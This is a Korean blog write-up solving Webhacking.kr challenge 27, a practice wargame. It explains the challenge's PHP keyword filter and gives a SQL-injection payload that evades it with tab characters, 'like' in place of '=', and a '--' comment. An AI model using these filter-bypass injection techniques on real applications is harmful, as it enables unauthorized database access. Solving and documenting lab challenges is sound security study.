프로젝트/Webhacking.kr

[Webhacking.kr] Challenge(old) 27번문제

Uggjjini 2021. 7. 8. 15:03

문제 페이지는 해당 페이지와 같다.

 

페이지에는 입력창과 view-source 링크가 존재한다.

 

view-source 링크를 확인한다.

 

 

하단의 php 부분을 중심으로 해석한다.

 

<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>

 

GET 방식으로 no 파라미터 값을 전달받아 db에 연결한다.

preg_match(정규표현식, 검색대상) 함수를 통하여 일치하는 경우 "no hack" 이라는 문구와 함께 종료된다.

 

만약 일치하지 않는다면 연결한 db에서 하단의 SQL 쿼리문을 생성하여 그 결과값을 배열형태로 $r 변수에 저장한다.

 

select id from chall27 where id='guest' and no=({$_GET['no']})

 

최종 $r 변수의 값의 id가 "guest"인 경우 "guest" 문구를 출력하고

최종 $r 변수의 값의 id가 "admin"인 경우 해당 문제가 풀리는 것을 알 수 있다.

이 때 주석을 통하여 admin의 no 파라미터 값은 2라는 것을 알 수 있다.

 

 

해당 문제를 풀기 위하여 no 파라미터 값을 조작하여 하단의 SQL 쿼리문이 되도록 만들어야 한다.

 

select id from chall27 where id='guest' and no=-1 or no=2

 

해당 쿼리문을 만들기 위해서 URL 의 no 파라미터 값을 -1) or no=2 # 으로 만들어준다.

 

다만, no 파라미터를 조작할 때에는 해당 정규표현식 문자들이 들어가서는 안된다.

 

/#|select|\(| |limit|=|0x/i

# select ( 공백 limit = 0x /i (대소문자 구분 X)

 

=를 like으로 바꾸어 우회하고 공백은 tab(%09)을 사용하여 우회한다.

# 대신 --을 사용하여 주석처리한다.

 

URL의 no 파라미터 값에 -1)%09or%09no%09like%092--%09 을 넣어 전송하면 문제가 풀리는 것을 확인할 수 있다.